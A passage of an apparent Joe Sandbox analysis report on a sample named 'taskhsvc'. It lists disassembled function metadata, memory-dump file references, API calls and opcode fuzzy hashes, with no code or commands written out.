                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abort
                                        • String ID:
                                        • API String ID: 1190921433-0
                                        • Opcode ID: b410af07254bfce14ccc633d34480790aaf1f15c335a7562b5e24accb218cbe9
                                        • Instruction ID: e8319784a0e5b12266330af67725b9fc98a90acc24329dd7b2545b666bdba6dd
                                        • Opcode Fuzzy Hash: b410af07254bfce14ccc633d34480790aaf1f15c335a7562b5e24accb218cbe9
                                        • Instruction Fuzzy Hash: 3701E5749043199FCB00EFA8D54259EBBF0EF58344F01D819E994EB244E738E8418F65
                                        Function 00D15AA7 Relevance: 3.0, APIs: 2, Instructions: 36COMMON
                                        Download Yara Rule
                                        APIs
                                        • rename.MSVCRT ref: 00D15B14
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D15B24
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$rename
                                        • String ID:
                                        • API String ID: 3041394036-0
                                        • Opcode ID: 6251537271cfe5d8bb476e9dd1abae2142ec42d86718cef9d7d0ad1478dda218
                                        • Instruction ID: 2af57a7bb0480980e162a0df4cda1ee095cd7e48cf592b0d1de02fdee226d305
                                        • Opcode Fuzzy Hash: 6251537271cfe5d8bb476e9dd1abae2142ec42d86718cef9d7d0ad1478dda218
                                        • Instruction Fuzzy Hash: D00175B4A08309AFCB00DF69D54169EBBF1FB48344F418819E998EB341D778E9458F65
                                        Function 00BDAF93 Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failfree
                                        • String ID:
                                        • API String ID: 3014125611-0
                                        • Opcode ID: 071dbe9165fffa4d25009458704db531a8f7a142dcaf67281a9e87d156b197b8
                                        • Instruction ID: dbd2e912884e2bc92a57191b657acd656346deb6b0fdb45dd524220cc26937bb
                                        • Opcode Fuzzy Hash: 071dbe9165fffa4d25009458704db531a8f7a142dcaf67281a9e87d156b197b8
                                        • Instruction Fuzzy Hash: DCF0F870D0020A9FCB00DFBACA45A6EBBF0FB05304F41845AA950EB340E738EA05CF65
                                        Function 00BC2AC7 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BC2BF1), ref: 00BC2B1A
                                          • Part of subcall function 00DEC2B0: abort.MSVCRT ref: 00DEC2FD
                                          • Part of subcall function 00DEC2B0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BC1AEF), ref: 00DEC312
                                        • event_base_loopexit.LIBEVENT-2-0-5 ref: 00BC2AFF
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortevent_base_loopexit
                                        • String ID:
                                        • API String ID: 2919279167-0
                                        • Opcode ID: 84eb5938b7a347fedc24864bd16f84aff83c74fb7d74e07d6eb0f6d05bded839
                                        • Instruction ID: 1d01f2604d837d8a83ed5ce87dbd28a3a474f2a1da31d3c5f76d7ed5db1e7af3
                                        • Opcode Fuzzy Hash: 84eb5938b7a347fedc24864bd16f84aff83c74fb7d74e07d6eb0f6d05bded839
                                        • Instruction Fuzzy Hash: 80F01CB0A042088FCB00EFB5DA4175E7BF0EB04304F018559E210AB244E770E9158BA5
                                        Function 00D16BC4 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                        Download Yara Rule
                                        APIs
                                        • _lseek.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D25F20), ref: 00D16BF5
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D25F20), ref: 00D16C12
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
